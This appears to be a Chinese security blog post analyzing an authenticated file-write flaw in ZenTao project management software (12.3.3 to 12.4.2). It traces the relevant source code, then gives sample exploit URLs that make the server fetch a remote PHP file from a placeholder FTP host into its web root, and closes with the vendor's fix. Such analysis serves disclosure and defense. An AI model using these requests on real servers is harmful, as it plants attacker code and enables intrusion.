路漫漫其修远兮,吾将上下而求索

0%

禅道后台文件上传分析

介绍

官网

1
禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。

漏洞编号

1
CNVD-C-2020-121325

影响版本

禅道项目管理软件开源版

1
12.3.3
2
12.4.1
3
12.4.2

分析

禅道支持两种路由方式分别是 GET PATH_INFO 模式,可以在 config/my.php 文件配置

1
$config->requestType     = 'PATH_INFO'; // GET/PATH_INFO/PATH_INFO2

其中按照源码搭建的默认是GET 方式,一键搭建的是PATH_INFO模式.

其中解析路由的方法,在index.php的parseRequest

1
$app->parseRequest();  //解析路由
2
$common->checkPriv();	//检测权限
3
$app->loadModule();		//加载模块

先分析一下程序入口 index.php的重要内容

1
<?php
2
3
...
4
//包含基础的类和函数
5
include '../framework/router.class.php';
6
include '../framework/control.class.php';
7
include '../framework/model.class.php';
8
include '../framework/helper.class.php';
9
10
11
...
12
//实例化 app
13
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
14
15
...
16
$common = $app->loadCommon();
17
18
//此处访问 http://ip/index.php?mode=getconfig 可看出版本 可以作为一个小tips
19
if(isset($_GET['mode']) and $_GET['mode'] == 'getconfig') die(helper::removeUTF8Bom($app->exportConfig()));
20
...
21
22
$app->parseRequest();  //解析路由
23
$common->checkPriv();	//检测权限
24
$app->loadModule();		//加载模块

在实例化app的的时候,执行了router类的构造函数

其中在构造函数中执行了一个方法 setSuperVars

1
public function setSuperVars()
2
    {
3
        $this->post    = new super('post'); 
4
        $this->get     = new super('get');
5
        $this->server  = new super('server');
6
        $this->cookie  = new super('cookie');
7
        $this->session = new super('session');
8
9
        unset($GLOBALS);
10
        unset($_REQUEST);
11
12
        /* Change for CSRF. */
13
        if($this->config->framework->filterCSRF)
14
        {
15
            $httpType = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == 'on') ? 'https' : 'http';
16
            $httpHost = $_SERVER['HTTP_HOST'];
17
            if((!defined('RUN_MODE') or RUN_MODE != 'api') and strpos($this->server->http_referer, "$httpType://$httpHost") !== 0) $_FILES = $_POST = array();
18
        }
19
20
        $_FILES  = validater::filterFiles(); //过滤 $_FILE
21
        $_POST   = validater::filterSuper($_POST); //过滤 $_POST
22
        $_GET    = validater::filterSuper($_GET);	//过滤 $_GET
23
        $_COOKIE = validater::filterSuper($_COOKIE);	//过滤 $_COOKIE
24
    }

可以看到在赋值的时候分别进行了过滤

$_FILE 检测是否匹配配置文件的文件后缀白名单

$_GET,$_POST,$COOKIE中的值进行以下的正则匹配以及xss过滤

1
preg_match('/[^a-zA-Z0-9_\.\-]/', $key);

因此在参数上限制的很严格,即使是PATH_INFO模式,在之后的代码中也会解析之后进行检测,如果不匹配正则

就会 die(bad request)

接着跟进 parseRequest方法

1
public function parseRequest()
2
    {//检查配置文件的requestType值
3
        if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
4
        {
5
            $this->parsePathInfo();         //解析path_info参数
6
            $this->setRouteByPathInfo();	//设置路由文件
7
        }
8
        elseif($this->config->requestType == 'GET')
9
        {
10
            $this->parseGET();				//解析get参数 m=model&f=method&var1=var&var2=var
11
            $this->setRouteByGET();
12
        }
13
        else
14
        {
15
            $this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
16
        }
17
    }

简单来说

PATH_INFO模式就是 /module-method-var1-var2.html

GET模式就是 ?m=model&f=method&var1=var&var2=var

接着进入checkPriv 方法检测权限

1
public function checkPriv()
2
    {
3
        $module = $this->app->getModuleName();
4
        $method = $this->app->getMethodName();
5
        if($this->app->isFlow)
6
        {
7
            $module = $this->app->rawModule;
8
            $method = $this->app->rawMethod;
9
        }
10
11
        if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword', '', '', true)));
12
        if($this->isOpenMethod($module, $method)) return true;  //检测是否为开放模块
13
        if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
14
        if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
15
16
        if(isset($this->app->user))
17
        {
18
            if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();
19
            $this->app->user = $this->session->user;
20
21
            if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
22
        }
23
        else
24
        {
25
            $referer  = helper::safe64Encode($this->app->getURI(true));
26
            die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
27
        }
28
    }

跟进 isOpenMethod方法,

1
public function isOpenMethod($module, $method)
2
    {
3
if($module == 'entry'  and $method == 'visit') return true;
4
        if($module == 'user' and strpos('login|logout|deny|reset', $method) !== false) return true;
5
        if($module == 'api'  and $method == 'getsessionid') return true;
6
        if($module == 'misc' and $method == 'checktable') return true;
7
        if($module == 'misc' and $method == 'qrcode') return true;
8
        if($module == 'misc' and $method == 'about') return true;
9
        if($module == 'misc' and $method == 'checkupdate') return true;
10
        if($module == 'misc' and $method == 'ping')  return true;
11
        if($module == 'sso' and $method == 'login')  return true;
12
        if($module == 'sso' and $method == 'logout') return true;
13
        if($module == 'sso' and $method == 'bind') return true;
14
        if($module == 'sso' and $method == 'gettodolist') return true;
15
        if($module == 'block' and $method == 'main' and isset($_GET['hash'])) return true;
16
        if($module == 'file' and $method == 'read') return true;
17
        ...
18
        检测登录

检测是否为这些开放模块,如果不是,就检查是否登录。

最后就是加载解析过的模块方法了。

分析了禅道的工作流程之后看一下本次的漏洞发生处。

module/client/control.phpdownload方法中

1
public function download($version = '', $link = '', $os = '')
2
    {
3
        set_time_limit(0);
4
        $result = $this->client->downloadZipPackage($version, $link);//
5
        if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail));
6
        $client = $this->client->edit($version, $result, $os);
7
        if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError));
8
        $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse')));
9
    }

将传入的参数version,link带入了extclientModel类的 downloadZipPackage方法中,跟进

1
public function downloadZipPackage($version, $link)
2
{
3
    $decodeLink = helper::safe64Decode($link);
4
    if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
5
6
    return parent::downloadZipPackage($version, $link);
7
}

看出,先将 $link参数base64解码,此处正好绕过了前面的参数检测。接着检测不能为http/https协议,接着调用父类的方法。

1
public function downloadZipPackage($version, $link)
2
    {
3
        ignore_user_abort(true);
4
        set_time_limit(0);
5
        if(empty($version) || empty($link)) return false;
6
        $dir  = "data/client/" . $version . '/';
7
        $link = helper::safe64Decode($link);
8
        $file = basename($link);
9
        if(!is_dir($this->app->wwwRoot . $dir))
10
        {
11
            mkdir($this->app->wwwRoot . $dir, 0755, true);
12
        }
13
        if(!is_dir($this->app->wwwRoot . $dir)) return false;
14
        if(file_exists($this->app->wwwRoot . $dir . $file))
15
        {
16
            return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
17
        }
18
        ob_clean();
19
        ob_end_flush();
20
21
        $local  = fopen($this->app->wwwRoot . $dir . $file, 'w');
22
        $remote = fopen($link, 'rb');   				//读取远程文件
23
        if($remote === false) return false;
24
        while(!feof($remote))
25
        {
26
            $buffer = fread($remote, 4096);
27
            fwrite($local, $buffer);					//写入本地文件
28
        }
29
        fclose($local);
30
        fclose($remote);
31
        return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
32
    }

最终,将读取的远程文件写入到本地的 www目录下的 /data/client/$version/中,文件名不变。

由于client模块不在上面分析的公开的模块中,因此需要登录。

最终可以构造link写入到本地

1
/index.php?m=client&f=download&version=1&link=bs64encode(ftp://x.x.x.x/x.php)&os=win
1
/client-download-1-bs64encode(ftp://x.x.x.x/x.php)-win.html

远程文件会写到

1
/data/client/1/x.php

除了ftp协议,还可使用 file协议。

修复

官方在12.4.3中修复了

在 client.php 文件中的 extclientModel方法中添加了文件后缀白名单检测

1
public function downloadZipPackage($version, $link)
2
{
3
    $decodeLink = helper::safe64Decode($link);
4
    if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
5
	//++++add
6
    $file      = basename($link);
7
    $extension = substr($file, strrpos($file, '.') + 1);
8
    if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
9
	//
10
    return parent::downloadZipPackage($version, $link);
11
}

在解码后,检测了文件后缀是否为配置文件的白名单。